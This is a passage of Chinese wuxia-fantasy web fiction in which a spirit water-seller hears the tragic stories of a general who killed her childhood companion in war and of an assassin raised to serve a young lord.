对方叹了口气,不知是欣慰还是悲伤,“我送进去那么多孩子,只有你成功出来。”
孩子?龙雀看着对方,对方的形象逐渐与极久远前的记忆重合,她声音发颤地喊:“父亲?”
被称作父亲的男人点头,继续道:
“等你把伤养好我就把你安排进入军营,别忘了你的目标,成为保卫国家的大将军。
“正好,这几年俞国和晟国关系逐渐交恶,我估计不久就会有一场大战,你回来的正好,机会就在眼前。”
龙雀,或者说俞闻,一阵恍惚,她还在努力思索五岁前的记忆,理解男人说的话。
她有种深深的不真实感,最直接的感受就是,她出来了,从那个地狱出来了。
她在那里度过了十年惨绝人寰的生活,无数次险些命丧黄泉,但最终,她还是出来了。
等等!
那断水呢?
龙雀下意识就要开口询问,在对上这个被自己喊作父亲的男人时又顿住了,即使十年未见,她也下意识觉得,对方会愤怒自己要问的问题。
对方从来便是把自己当个杀人机器培养,世间上真有父亲会将五岁的女儿送入地狱吗?
“你好好休息,我去安排把你送进军营的事。”男人说着,离开了。
龙雀望着床帘出神,最后,她还是没能知道断水的真名,也没将自己的真名告诉对方。
不过,原来自己叫俞闻啊,她早就忘了。
很快,她又燃起希望,甚至是有些激动。
找到断水很简单,看看江湖上近来风头最盛的新人就是了,按断水那性格,定是要在江湖上打出一番名号来的。
如她父亲所说,俞国与晟国的战争很快爆发,她养伤不到一个月便被送去军营。
两国间大大小小的战争打了多年,她在这些战役里崭露头角,一路上攀,成为出名的大将军。
直到,关乎最终结果的一战到来。
俞闻张开手臂,部下为她穿戴好盔甲,另一部下将擦拭好的佩剑双手呈上。
“这战,敌国将领是谁?”她问。
军师回道:“是赵老将军的小儿子,听说他其他孩子都死了,不知道怎么死的,就剩这个小儿子了。”
俞闻不满皱眉,她并不想知道这些,“叫什么名字?可有什么我要注意的?”
军师吓了一跳,在对方如虎般的目光下低下头,恭敬回道:“叫赵声。
“说到需要注意的,哦
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,确实是有一点,听闻这些个赵家人拥有鹰眼,看得比常人远得多,这点还望将军留心。”
俞闻一下子怔住了,一个时模糊时清晰的记忆涌出,她,好像知道了什么……
江余客紧紧拧着眉,后面的故事他已经猜到,他不忍心听下去。
而能猜到结局的故事,孟梨食也没兴趣继续听。
“断水就是敌国将领。”孟梨食看向对方,直接点出结局,“在交战中,你杀了他。”
俞闻捂着脸,泣不成声,“对,我杀了他……”
她起初还不愿相信,相信当初发誓彼此保护的人会在战场上刀剑相逢。
不一定是他,赵家人又没有死绝,也许是别人呢?
然而,当她纵马行至军前,远远看见山头上的人影时,所有的自我安慰被击碎。
对方同意露出惊诧,接着,两人同时转身,回到军营。
“安排副将上!”俞闻断然下命,脸色惨白。
“俞老将军的命,这一战必须由你上。”军师回道。
俞闻握紧拳头,全身紧绷,军师颤抖着身体,生怕对方一个怒火朝他拔剑。
然而,对方的身体又肉眼可见的放松下来,脸上浮现一抹恍然与悲伤。
军师愣在原地,在他印象中,这位出征不到两年的少年将军,简直是地狱修修罗的化身,浑身散发着杀气与死气。
对方心狠手辣,冷酷无情,武力高强,为俞国赢下多场战役,在军营里,将士们都将其称为战神。
没想到,对方冰封般的脸上竟能有这种表情,这种,人的表情。
“没有办法,我几乎是被推上了战场,我为难啊,我下不去手!”
俞闻低吼着,双目赤红,“我知道断水与我一样为难,但我们背后,各自是一个国家,是一国百姓……”
“谁都没有留手,”她拿开手,泪流满面,“即使再不想,手中的剑也在逐步将对方逼上死路。”
打到最后,两人几乎失去了意识,好像手中的剑控制了他们的身体。
噗嗤——
断水看着刺入心脏的利剑,顺着剑身看向握剑的人,无声地流露出悲伤。
龙雀猛地清醒过来,嗓子仿佛被血块堵住,每一张口,都有浓重的血腥气漫上来。
断水缓缓闭上眼晴,倒向对方。
龙雀僵在原地,感受着怀里人的渐渐失去的温度。
“龙雀……”
她听见对方在唤她,直到最后一刻还在叫她的名字,她的名字是龙雀,不是俞闻。
龙雀再也忍不住,放声大喊,诉说着对这一切的不满。
突然,她听到一声笑声,一声戏谑,一声得逞的笑声。
她扭过头,视线穿过交战的两军,落在战场外的乱石坡上。
那里,站着一个人。
明明间隔很远,明明战场的厮杀声几乎遮盖一切,但她还是觉得自己听见了。
视线落在对方戴着的墨色面具上,龙雀目眦欲裂,楼主!
她再明白不过,一切的一切都被安排好,从一开始对方就想看这出戏。
“后来呢?”江余客问。
“后来……”俞闻眼中闪过一抹暗光,近乎咬牙道,“我去找楼主复仇,但我不是他的对手,而对方也故意不对我下死手,好像就是要让我痛苦地活下去。
“我多次寻死都被阻拦,最终被囚禁在这里。”
她低着头,楼主的话还回绕在耳边。
“你不该怪我,按规定,你们两人中只有一人能走出隐机楼,但我却让本该死的那个人多活了数年。
“而且,比起一个人孤独的厮杀,有个人陪着你,最终为了你的至高理想献身不是更好吗?”
至高理想,成为保护国家、守卫疆土的大将军吗?
可是她保护了天下人,唯独负了那个约好彼此守护的家伙。
16. 死士与少主(1)
房间内陷入了沉默,实在是令人压抑的喘不过气来的沉默。
故事说完了。
孟梨食开口问:“所以,你要买忘情水吗?喝下去就不会再感觉到任何痛苦的忘情水。”
俞闻笑着摇了摇头,“不,我想到一个更好的办法。”
孟梨食沉默了,而江余客还一脸茫然又好奇地问:“什么办法?”
“你想清楚了?”孟梨食问。
“我怎么还有脸活着呢,说好了彼此保护的……”
孟梨食不愿多听,她噌的站起身,对另两人道:“走。”
小魂惊讶地跟上去,“就这么走了?故事都听完了,就差卖……”
孟梨食抬手,一巴掌将其扇飞,后者直接飞到江余客脸上。
她停下脚步,对俞闻道:“去到地府报我的名号,可以给你的孟婆汤里加点糖。”
她说完,推门出去。
江余客将几乎黏在自己脸上的魂撕下来,随手一扔,急忙跟了出去。
小魂稳住自己,正要追出去,想了想,对俞闻道:
“你别听她的,千万别报她的名号,不然给你喝的孟婆汤致死!”
它丝毫没意识到能喝孟婆汤的都是死得透透的。
离开定阳巷,孟梨食四处张望,准备找个酒馆吃点东西。
刚才喝了太多酒,没意思,得来点下酒菜。
江余客跟了出来,喊了她一声。
孟梨食拧眉看他,不解道:“你跟着我干嘛?”
是哦,我跟着她干嘛?
江余客后一秒反应过来,怔愣两秒,尴尬道:“好巧,又碰到了。”
他刚说完,小魂气冲冲地飘过来,“你们两个也太过分了,想偷偷离开不叫我是吧!”
就在两人一魂叽叽喳喳吵闹时,一道黑影风一般从屋顶上闪过。
江余客猛地闭上嘴,什么也没说,握紧剑转身追了上去。
小魂下意识要跟着,余光见孟梨食没动,急道:“咱们快点跟上去,那个可能就是贼!”
孟梨食懒懒道:“和我有什么关系?”
她摆摆手,转身离开,“我吃饭去了。”
望着背道而驰的两个人影,小魂急了,左飘飘右飘飘,最后一咬牙,拦在孟梨食身前。
它可是靠了江余客才找到孟梨食的,论理上江余客对他有过帮助,应该去看看。
而且,它跟在江余客身后跟了一天,亲眼看见对方如何惩恶扶善,为了追捕这贼又是如何耗费苦心,论情上,它也不能见状不管。
可它又不能和孟梨食分开,想来想去,只能祈求对方跟过去看一眼。
见对方如此坚定,孟梨食叹了口气,脑子里浮现那个傻小子的模样。
她可以过去,但不能这么直接,得想个理由……
她摸着下巴想了想,好吧,就看在自己要从墙上摔下来时对方企图接住自己的份上,虽然最后是自己踩着他肩膀稳稳落地……
嗯,也算当了个垫子。
“走吧。”孟梨食弹了对方脑门一下。
“啊?哦好!”小魂没想到对方答应得还挺快,它都做好一哭二闹三上吊的打算了。
“我看看他跑哪去了……应该是……”
没等对方琢磨,孟梨食抬起右手,虚空一抓,一根红线浮现手中。
这根红线极其细小浅淡,恍如一丝红烟,轻轻一吹就能将其吹散。
红线一端没入小魂心口,另一端朝另一个方向没入黑暗。
小魂一惊,“这是我和他的羁绊?”
“你们待了一天,也算有些羁绊,虽然浅淡,也总比当个无头苍蝇好。”
小魂心道,不如你看看自己和他的羁绊,也许粗红异常呢。
“想什么呢?还不赶紧顺着红线在前面引路!”孟梨食催促道。
小魂“哦”了一声,飘在前面,后面紧跟着孟梨食。
不多时,红线另一端出现在视野内。
江余客站在小巷尽头,望着心口长出的红线出神,直到听到脚步声,才抬头看过去。
“这是怎么回事?”他看看自己,又看看红线末端……
什么鬼,怎么是小魂?
他最后看向孟梨食。
孟梨食耸耸肩,抬手再次将红线抓在手中,很快,红线消失在黑暗里。
她注意到墙边半躺着一个人,身穿黑衣,脑袋耷拉着,浑身散发着血气。
“你打的?”孟梨食看向江余客,没想到对方这么猛。
“不是!”江余客连忙否认,“我跟过来时她就这样了。”
孟梨食走向前,看着黑衣人,问:“贼人?”
“将死之人。”对方回答,声音气若游丝,脑袋依旧低垂着。
“想活?”孟梨食又问。
“想死。”
孟梨食露出邪恶微笑,“那我偏要你活。”
说着,她蹲在对方身前,刚抬手准备输送灵力,对方猛地挥手打断。
“滚!”对方抬起头,眼中闪过寒芒。
小魂见状,生怕孟梨食来了脾气要做些什么,但意外的是,对方不但不生气,反而盘腿坐了下来。
“我是个卖水人,专卖忘情水。”
孟梨食悠悠说道:“我这忘情水,一碗下去忘忧又解愁,限时半价,来一碗不?”
对方眼中划过一抹惊诧,旋即倔强地扭过头,沉默着。
孟梨食继续道:“你要死我不拦着,但喝一碗忘情水也不影响你死啊,就喝一碗呗!”
见对方继续沉默,孟梨食循循善诱道:“你在我这买了水,我给你一个不痛苦的死法,怎么样?”
“害!”见对方依旧不回话,孟梨食叹了口气,一副“我比你惨的多了”的神态道:
“你是不知道,我之前卖了两碗水出去,一文钱都没得到,但我还是将水卖了出去,因为我就是这样善良的人。
“还有不久前,我听一个人说她的悲惨经历许久,最后她也没买一碗水。”
“再惨还能有我惨吗?”她摊开手,满脸认真地问对方。
除了她所有人都沉默了,对方张了张嘴,想说些什么,最终还是闭上。
“买水你可以慢慢考虑考虑,你经历了什么可以先给我说说,我才好找理由劝你买水。”
孟梨食十分坦然道。
对方嘴唇微动,心中的话呼之欲出,却怎么都吐不出来。
孟梨食看得出对方有诉说的欲望,耐着性子又等了会。
终于,对方开口道:“我叫枫,这个字是少主给我的,我没有名字。
“我是被少主捡回去的,我这条命是少主的,为了他,我可以做任何事……”
她握紧了拳头,又缓缓松开,思绪渐渐飘荡出去,飘到许多年前。
热闹的街市上,一个小女孩蹲在巷口,抬起的小脸灰扑扑的,眼里虽明亮,却满是迷茫。
她望着街市上的热闹,好像伸手就能摸到,却又
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觉得遥不可及。
咕——
她捂着肚子,缓缓站起身,思考着去哪里找吃的。
就在她转身之时,一个东西掉在她面前,发出咔嗒轻响。
目光瞬间被吸引,那竟是一块精美的玉佩。
她连忙抬头,一个穿着绸缎锦袍的小公子正好从她身前路过,对方步履从容,脸上带着爽朗的笑意。
小女孩连忙捡起玉佩追上去,刚要靠近,跟在小公子身后的男人咻地抬起手,手中的佩剑出鞘一寸。
对方侧头看向她,目光幽寒。
小女孩吓了一跳,握着玉佩后退一步,“我……”
“怎么了?”小公子停下脚步,不解地望着这一幕,视线落在小女孩脏兮兮的小脸上。
小女孩说不清此时的感受,她只是迫切地想逃离这里,想逃离出对方的目光。
但她强撑着,抬起手,努力让声音平缓:“你玉佩掉了。”
小公子的视线落在玉佩上,脸上浮现恍然,笑道:“既然你捡到了,就送给你了。”
他刚说完,旁边的男人盯着玉佩,脸色瞬间难看,压低声音道:
“少主,这不是……”
小女孩看看小公子,又看向一脸严肃的男人,好像明白手中玉佩的重要,连忙双手奉上:
“不了,还给你!”
结果她刚伸出手,几个孩子忽然跑出,一把将玉佩抓走,飞快地逃开了。
他们边跑边发出嬉笑,“哈哈!废物废物!连个馒头都讨不来的废物!”
男人握剑的手收紧,正要冲出去将玉佩抢回来,余光却见一道灰影飞出,快得让他都惊讶。
小女孩来不及多想,全身像箭一样射出,眼睛死死盯着那几个孩子。
和她一样的小乞丐,本以为会抱团取暖,却没想自己会频频受到他们欺负。
平时欺负自己也就算了,怎么能抢走玉佩。
她逐渐追上前面的人,右脚猛的踩上路边推车上的货物,一个跃身跳到最前面。
几个孩子连忙刹脚,满脸惊愕。
“快把玉佩交出来,那不是我的!”
前面的男孩死死握着玉佩,满脸凶相道:“滚开,只有你傻了吧唧把捡了的玉佩还回去,人家大少爷都说不要了。”
“那不是你能碰的东西。”小女孩伸出手。
前面的男孩咬着牙,对身旁的几个孩子使了个眼色,其他人瞬间获意,猛地朝女孩扑去。
小女孩迅速扭身避过,一个侧身去抓男孩手中的玉佩。
男孩急忙后退,一脚踹出。
小女孩腹部生生挨了这一脚,本就饥饿得绞痛的腹部更加抽痛,脸色瞬间白了。
见她动作僵住,其他孩子连忙围了上来,对其拳打脚踢。
全身的疼痛像潮水般将小女孩淹没,她眼前一阵阵发白,突然,她不知哪来的力气,猛地将朝自己挥拳的男孩撞开,一把扑上前面的人。
她握紧拳头,好像把所有的愤怒与委屈都凝聚上去,一拳更比一拳重的落在男孩脸上。
她满脑子只剩下攻击,其他孩子想上去将她拉下来,却被她小兽般的怒吼吓得直后退。
“别、别打了,我……我将玉佩还给你……”
身下的男孩哭诉着,眼泪与血液混杂,满是狼狈。
小女孩没有反应,眼里只有深的仿佛能将人吞噬掉的恨意。
最终,一只手拎着她后颈将她拎了起来,结束了这场混乱。
17. 死士与少主(2)
小女孩摇晃着站直身,眼前一片红色,透过这抹红,她看见小公子正歪头打量自己。
对方的目光带着惊讶,带着好奇,又带着欣喜,眼睛亮得像星星。
“还给你。”小女孩将抢回来的玉佩递出去。
看着沾满血迹与灰尘的玉佩,小公子皱了皱眉,“这玉佩送你了。”
小女孩瞪着双眼,无措地看着对方,犹豫着,这时,始终守在一旁的男人道:
“不可,少主,这是庄主夫人给你的。”
小公子面色不悦地看了男人一眼,后者顿时闭了嘴,只是看向小女孩的眼神带着警告。
“我看你身手不错,不如跟了我,当我的死士,保护我,如何?”小公子笑着问。
“什么?”
小公子认真道:“当我的死士,成为我的心腹,你就再也不用受寒受苦了。”
再也不用受寒受苦……
仿佛一个巨大的惊喜砸在头上,小女孩有些恍惚,旋即又有些退缩,“可是我什么都不会,打架也打不赢,保护不了你。”
“想成为我的死士当然不是那么容易的事,”对方道,“只要你同意,我会将你送进专门的训练营,只要你能活着走出来,绝对就是最厉害的存在!”
小女孩眼睛亮了,成为最厉害的存在,那她再也不会受欺负了。
“我同意!”她迫不及待答应。
“但是,”小公子又有些不忍,他看着面前瘦弱的小女孩,严肃道,
“那里是地狱般的地方,很可能你不能活着走出来,你要想好了。”
小女孩觉得自己没有什么可犹豫的,即使不成为死士,继续现在的生活,她又能活多久呢?
马上就要过冬了,天气会很冷,她不是被冻死就是被饿死,或者两者都是。
“我想好了,我要成为你的死士!”她目光坚定地看向对方。
小公子微一晃神,对方的目光他从很多人身上看到过,那些人总是穿着黑衣,隐匿在黑暗中,只在他父亲下令的时候短暂地出现,然后提着敌人的头颅回来。
他有些兴奋,他并不是没有死士,但那些是他父亲安排的,现在,他就要有完全属于自己的死士了。
“好,这玉佩你拿着,就当作我送你的礼物……哦,对了,你叫什么名字?”
不等对方回答,小公子先自我介绍道:“我叫凌玉枫,红枫山庄的少主,红枫山庄听过吗?天下最厉害的培养死士的地方。”
他神气不已地说完,看着对方,等着对方回答,满脸期待。
“我……”小女孩下意识垂下头,声音闷闷的,“我没有名字,别人都叫我小废物。”
小公子又皱起他那好看的眉毛,旋即又将眉毛扬起,“没事,反正成为死士后只有一个代号,我就提前把代号给你吧。”
他嘴角扬起笑容,露出思索的模样,然后亮着眼睛道:“就叫你枫吧,枫叶的枫,如何?”
主子给死士赐号是死士的荣幸,哪有问如何的?在一旁沉默的男人心道。
况且,他不认为对方能使用这个代号多久,红枫山庄可不是什么好玩的地方。
“好。”小女孩满口答应,她并不知道这个字怎么写,也不知道枫叶长什么样,不过她也不好奇,对方给她什么她就接受。
只是,她很想知道,她的“枫”和对方名字里的“枫”是不是一个字呢。
“死前,我回忆起的第一个画面就是这个。”枫轻声道。
孟梨食配合地点头,“嗯,是个很难忘的相遇,然后呢?”
后面三个字才是她的重点。
“然后……”枫继续陷入回忆,“我被送进红枫山庄死士训练营,经历地狱般的训练。”
孟梨食嘀咕:“人间地狱还挺多,听起来比地狱还地狱。”
“每当坚持不下去的时候,我就会看看少主给我的玉佩,我答应了对方,一定会活着出去。”
“看,那就是枫,听说她只花了五年时间便爬上了死士榜首。”
“就她?看起来也不怎么样嘛。”
枫灌了口水,将剩下的水倒在手中,简单清洗下沾满血液有些黏腻的手。
她刚完成一个任务,提着对象头颅回来交差。
那些话她自然听得见,无论是第一次听见,还是今日不知道多少次听闻,她依旧面无表情,把那些当作拂过耳畔的风。
但她的不在意往往会激起对方的不满,接下来便是对方明里暗里的使坏。
她今天很累,没心思和他们玩这些。
于是这次她走上前,对说话的那人道:“我们打一场,速战速决。”
那人有些惊愕,旋即怒不可遏道:“你别太自以为是,真以为……”
“那就打一场。”枫打断道。
对方咬牙切齿,忽的拔剑刺来,“那就打!”
枫一个侧身避过,道:“太慢了。”
她的话更加点燃了对方的怒火,劈来的剑一次比一次迅猛,剑光交织成网。
枫抬剑格挡,手肘一抖,一个顶肩将对方撞得直后退。
接着,她一个回身逼近,手腕一抖,剑身出鞘,锋利的剑刃瞬间划过对方脖颈。
两人就此被定住,良久,枫疲惫地站直身,看向对方的视线中不带一丝情感。
对方的惊讶与恐惧定格在脸上,脖颈处喷涌出的血将她刚洗净的手弄脏。
她微蹙眉,转身要走,这时,一个男人走近。
枫顿住脚,她看得出对方是为自己而来。
“你就是枫,少主点名要的人?”来者将她上下打量一通,眼中带着明晃晃的轻视。
这种对话,这种语气,枫经历得多了,她甚至知道对方下一句是“看起来也不怎么样嘛”。
她刚打完一场,手上的鲜血还湿润,刚好再打一场再把手洗了。
她等着对方说出那句她耳朵听出茧子的话,然而没有。
对方摆了摆手,叹了口气道:“罢了,刚才那一幕我也看见了,在这些新人里你实力确实排第一,但记住,人外有人,天外有天。”
枫皱着眉,“你到底来做什么?”
“带你去见少主,说了少主点名要你。”
听到“少主”二字,枫有些出神,五年过去,她所见皆是血色与死亡,所听皆是怒吼与惨叫,现在细细回忆,少主的形象竟有些模糊。
她就这么被带出了死士营,以死士榜首的身份再见了少主。
两人相见都有种恍如隔世的感觉。
看着面前摇扇品茶的翩翩少年,枫终于将模糊记忆中,那个精致得如瓷娃娃般的男孩重新雕刻出来。
少主依旧神气,好像变大了,但没怎么长大。
凌玉枫脸上露出明显的惊讶,甚至还有夸张成分。
他望着面前的少女,努力与记忆中那个灰扑扑的小乞丐比较,最后得出结论:
果真是女大十八变!
“不出我所料,你果然活着出来,还成了死士榜首。”
凌玉枫“啪”的合上扇子,视线落在对方隐藏杀机的墨色眼瞳上。
“日后你就是我的死士
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,我的命就交给你了。”他站起身,将手搭在对方肩上。
枫下意识后退半步,微低下头,摩挲着黏腻的右手,直到现在,她也没将手上的血迹洗净。
“自那后,我便匿于黑暗保护着少主。”枫低着头回忆。
“身为红枫山庄少主,他常遇到各种暗杀,而我就在一次次暗杀中保护他。
“都说死士只是主子的工具,是可以被随时抛弃的,但我不在意,更何况,他不一样……”
“他……真的很不一样。”
“枫!”凌玉枫朝空中喊,下一刻,一道黑影出现在他身后。
枫右膝跪地,垂首道:“在。”
“起来。”凌玉枫朝她招手,又将桌上的包袱递给她。
“将里面衣服换上,随我去个地方。”
枫拿着包袱,正要闪身退出去,凌玉枫道:“就在里间换上,咱们速速出发。”
里间……少主的卧榻处……
枫正想拒绝,这实在不合规矩,却见少主抬脚往外走,挥手道:
“我在外面等你,你快些啊!”
枫抿着唇,最终走进里间,迅速将包袱打开。
望着里面淡红色衣物,她认出这是红枫山庄婢女所穿。
她松了口气,少主生性跳脱,常常冒出些鬼点子来,看来这次还算正常。
她将解下来的各种暗器一一藏进衣裙,右手提着剑,推门出来。
正在廊道上逗鸟的凌玉枫闻声回头,看着对方,眼含笑意道:
“不错,比寻常女子美。”
枫脸色有些发烫。
凌玉枫视线在对方身上扫了扫,最终落在她握在手中的剑上。
“你得伪装成我的贴身婢女,哪有婢女带着把剑的。”他伸出手,“给我,我帮你保管。”
枫将剑递出去,她满身都是暗器,没了剑也能保护好少主。
凌玉枫仔细打量手中佩剑,手指在剑鞘上拂过,最后将其佩在腰间。
“走吧,听说聚宝楼上了个好东西,我们去瞧瞧。”对方兴奋道。
枫这才明白对方的打算,聚宝楼专门收敛天下宝物进行拍卖,楼中规定,一人只能带一个下人提拿东西。
说是提拿,实则是抢夺,拍卖到最后就不只是金钱上的较量了。
两人乘坐马车来到聚宝楼前,不需人扶,凌玉枫神气十足地跳下马车,昂首阔步地从门人身旁走过,径直去到四楼包间。
二楼便是拍卖台,被一圈围廊包间围住,楼内是井中一般的设置。
凌玉枫撩开珠帘,视线随意地扫过其他包间,最终落在二楼的棕木圆台上。
什么宝物都还没端上来。
“怎么还不开始?”他轻声抱怨着,放下珠帘坐了回去。
看见站在门边一动不动的人,凌玉枫笑道:“你可知这次我为何而来?”
枫回:“不知。”
凌玉枫笑得更开心了,“是为你寻礼物。”
“……为属下?”
凌玉枫将腰间佩剑解下放在四方桌上,“听说聚宝楼得了一本玄玉卷,里面记载着了不得的武功秘籍,就在今日拍出。
“我把它拍下送你,你可要好好学,学成了才能更好保护我。”
枫拱手道:“谢少主。”
很快,拍卖开始。
凌玉枫有目的而来,对于前面几件拍品未投一丝注意,况且他身为红枫山庄少主,什么宝贝没见过,也就对这个玄玉卷上了些心。
终于,唱卖人敲响锣鼓,喊出下一件宝物。
18. 死士与少主(3)
“这一件拍品可不得了,外面由价值千金的玄玉打造,通体碧绿,散发着寒气,只是放在一旁,便能温养心脉。
“然而,真正的重头戏却在里面。
“里面记载着由五百年前,威名天下的江湖榜第一陈老所创的陈氏无双剑法,若能习得此法,必能威名江湖!”
凌玉枫猛地拍桌而起,“就是它!”
唱卖人介绍完,再次敲响锣鼓,“起拍价,一百两黄金!”
听见这个价格枫着实一惊,她下意识去看少主,却见对方早已哼哧哼哧地挂起了灯笼。
在这一场拍卖中,一盏灯笼代表十两黄金,而对方一个眨眼的功夫已经挂起了五盏。
“少主……”枫上前。
凌玉枫头也不回道:“不用你来,我自己能行。”
枫:“……”她想说的不是这个。
凌玉枫挂灯笼的速度让见多识广的唱卖人都不免惊讶,忙高声喊:
“四楼甲号包间已经出价两百两黄金,还在持续往上加价!”
话音刚落,整栋楼内都响起震惊声和交谈声。
凌玉枫得意地停下手,想着玄玉卷已是他的囊中之物,却没想,唱卖人紧跟着拔高声音道:
“不敢相信,四楼乙号包间出价两百五十两黄金!”
楼内的讨论声更大了。
凌玉枫不满地皱眉,视线透过珠帘,落在旁边包间外面的一排灯笼上。
他恨恨地咬牙,一口气又挂上去十盏,视线见旁边包间那人没有停手之意,又嘿咻嘿咻往上挂。
枫无措地抬起手,正想劝住对方,但见对方咬牙切齿的模样,自知是劝不了了。
对方就是这样的性格,决定了什么事不管谁来说都没用。
这时,包间房门被人敲响。
枫看了眼还在执着挂灯笼的少主,转身走到门边。
她将门打开一些,见门外是个穿着简单的女子,看样子是个婢女。
“有事吗?”枫问。
对方昂着下巴道:“你家主子呢?我家主子让我来带个话。”
枫皱了皱眉,正想问你家主子是谁,余光见一个人走了过来。
凌玉枫将手中的黑木钩塞进枫手中,道:“你去把剩下的灯笼全挂上去。”
说完看向来人,问:“你家主子是谁?”
“你没必要知道我家主子是谁,只要知道是你惹不起的人就是了。”
婢女昂起的头在见到对方时微微垂下,但依旧强撑着将气势抬起来。
“我家主子说了,只要你主动将玄玉卷让出,便许你这聚宝楼内任意两件宝贝。”
正在挂灯笼的枫闻言,视线投向隔壁包间,穿过珠帘,隐约看见一身浅色衣服的人。
凌玉枫发出一声轻笑:“回去告诉你家主子,只要他主动将玄玉卷让出,我许他这聚宝楼内任意五件宝贝。”
见对方一脸吃瘪的模样,他补充道:“另外,我才是他惹不起的人。”
说完,他砰的一声关上门。
枫将最后一盏灯笼挂上,又将黑木钩放在一旁,转身便见凌玉枫胸有成竹地对自己笑:
“这玄玉卷是我们的了。”
她点点头,自然明白,两方都将灯笼挂满,接下来便是武力的抢夺。
主子通常不会出手,武力的比拼全靠带来的下人。
但一人只能带一个下人,来敲门的婢女显然没有什么武力值,自然抢不过自己。
也因此,对方会先登门威慑又抛出好处,以避免接下来的武力争夺。
楼内突然响起锣鼓声,唱卖人拉长声音道:
“四楼甲号与乙号都已挂满灯笼,现在进行下一轮,谁先登顶谁便能拿走玄玉卷。”
聚宝楼内部就像口井,一层层廊道围成圆形。登顶,就是在内部登上聚宝楼顶部。
枫掀开帘子走到阳台,却不见隔壁包间有动静。
果然如他们所料,对方许是以为凭着金钱便能将宝物拿到手,压根没带会武力的下人来。
等了一会,依旧不见四楼乙号包间有人出来,唱卖人再次敲响锣鼓。
“四楼乙号包间没有应战,结果已定,恭喜四楼甲号包间拍得玄玉卷。”
听完这决定性的话,枫走回包间。
“走吧。”凌玉枫拿起桌上的剑,得胜似的挽了个不成样子的剑花。
他推门出去,刚走出两步,一个人直直撞了上来。
砰的一声,两人不轻不重地撞在一起。
“嘶——谁啊?走路不看路。”凌玉枫捂着下巴后退。
枫迅速拦在少主身前,警惕地打量对方。
对方跟着后退两步,捂着脑门看过来,疼得眼里直泛着晶莹泪花,“你们就是甲号包间的?”
“是又怎么样?不是又怎么样?”凌玉枫没好气道。
女子咬牙瞪着对方,“大胆,你知道我是谁吗?”
凌玉枫学着对方道:“你才是大胆,你知道我是谁吗?”
两人无声地对峙着,纷纷想用眼刀刀死对方。
很显然,能在四楼有专门包间的人,无论势力或是财力都不能小觑,然而只有两个婢女意识到这点,两位主子还在互相瞪着眼。
“我乃红枫山庄少主,怕了吧!”凌玉枫一脸凶狠地看向对方。
对方着实惊了一惊,“我……”
“我什么我!”凌玉枫打断道,对面是个绝色女子,但他毫无怜香惜玉之意,狠狠瞪了对方一眼。
“你……”对方被气得不轻,“你可知道我是谁?”
凌玉枫一个转身离开,高束的墨发在背后轻快地晃荡。
“我管你是谁,有本事来红枫山庄找我。”他背对着对方道。
枫最后看了眼被气得全身发抖的女子,拔脚跟了上去。
拿到玄玉卷,凌玉枫翻来覆去地看了看,确定自己看不懂后递给枫,并嘱咐道:
“好好学习,要刻苦,但也不要太劳累。”
枫在心中发出一声轻笑,对方嘱咐的这几个字怎么这么耳熟,不就是庄主常常嘱咐少主的吗?
“是。”她应道。
“哦对了,这些日子你不用跟在我身边。”凌玉枫突然道,他看着对方露出的惊愕,得逞地笑笑,他就知道对方会是这个表情。
“你去后院寒池那里好好修炼,等把这个什么剑法修炼有成了再出来找我。”
枫:“可是……”
“没有可是,这是命令!”凌玉枫努力严肃
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着脸,实则威慑力为零。
但枫知道对方话中的坚决,她缓缓地吐出一个字:“……是。”
从死士营出来后,她便一直跟在少主身边,虽说隐匿在少主周边阴暗处的死士并不少,也并不比自己弱,但她还是不放心离开。
她想时时跟在少主身后,亲眼确定对方安全。
但现在是不能了,她握着花费重金买来的玄玉卷,走向后院寒池。
她按对方说的刻苦修炼,但在修炼之余,她还是会从其他保护少主的死士那里打听少主的消息。
这日少主去了逢春酒楼,遇见一个闯荡江湖多年的侠客。
这日少主去了春楼,为一个头牌豪掷千金。
这日少主去了聚宝楼,遇见一个好像是熟人且有些纠纷的女子。
枫猜,对方应该是那日拍卖玄玉卷遇见的女子。
修得一本绝世功法并不容易,就算再怎么有天赋的人,也得耗费数年。
一开始,少主还会来后院看看她,看她打坐,便跟着坐在一旁斗草;看她舞剑,便在一旁扔石子。
但修炼之事极其枯燥乏味,渐渐的,对方来的次数越来越少,最终不再出现。
与之相反的,是枫从其他死士那里听说的,少主与那位女子碰面的次数。
从其他人的只言片语中,枫想,那应当是位有些古灵精怪的女子,在某些方面和少主很像,也难怪两人这么合得来。
她心中有些着急,但无论什么功法,修炼都需平心静气。
她在心中凝聚一道剑气,将七情六欲斩断,一门心思地投入修炼中。
寒来暑往,春去秋来。
她与少主的再次相见,也能感慨地说一声,好久不见。
而少主依旧笑道:“喔,女大十八变啊!”
枫露出一丝苦笑,很想让对方再多读点书。
“枫,你现在能在江湖榜上排第几啊?”凌玉枫感受对方浑身散发的寒气,啧啧赞叹。
“不知道。”
她在死士训练营时杀了许多江湖中的高手,但自从她回到少主身边,就只负责防了。
“我爹在江湖中排第三,但我觉得这排名有些水,再过几年,你肯定比他还厉害。”
枫真是一脸惶恐,简直是被吓了一跳。
“枫,”对方语气突然认真起来,“如果以后有机会,你出去看看吧,不用把时间都花在我身上。”
“少主,”枫的语气更是认真,眼里的坚定无法消磨,“论情论理,我都会永远保护你。”
“那如果有一天我不需要你保护了,你就出去看看,闯闯江湖也好,说真的,如果是你,肯定能排进江湖榜前三。”
“哦对了,你不在这些年我认识一位女子,不知道你还有印象没,就是当年我们去拍卖玄玉卷遇见的那位……”
少主的话匣子一下子被打开,滔滔不绝地说着。
说到高兴处,更是抑制不住地笑起来,“她这人真有意思,到现在我也不知道她的身份,还挺神秘。”
回忆到这里,枫脸色露出些悲痛,“如果重来一次,我不会去修炼玄玉卷,我会始终跟在少主身边,阻拦他与那女子见面。
“也许,后来的悲剧就不会发生……”
19. 死士与少主(4)
“可惜世上没有后悔药,只有多得卖不出去的忘情水。”孟梨食道。
枫沉默片刻,更觉心痛,“是啊,世上没有如果。”
红枫小院,璀璨的烛火将这一方天地照亮,红色纱幔在夜风中轻拂,如烟如雾。
正痛快饮酒的男人突然站起身,看着来者闷闷道:“爹。”
“怎么,我来这打扰你饮酒了?”红枫山庄庄主问。
凌玉枫摇了摇头,“爹来是要和我畅饮吗?难道……”
他眉毛一拧,“爹,你莫不是得知我最近收了瓶好酒,特地过来的吧!”
“混账小子,谁要你那些酒水?!”山庄主大骂道。
凌玉枫呼了口气,“不是为了酒就好。”
“你这小子……”庄主指着对方,半晌又摇了摇头,叹了口气。
“你也老大不小了,我像你这么大的时候你娘都怀上你了。”
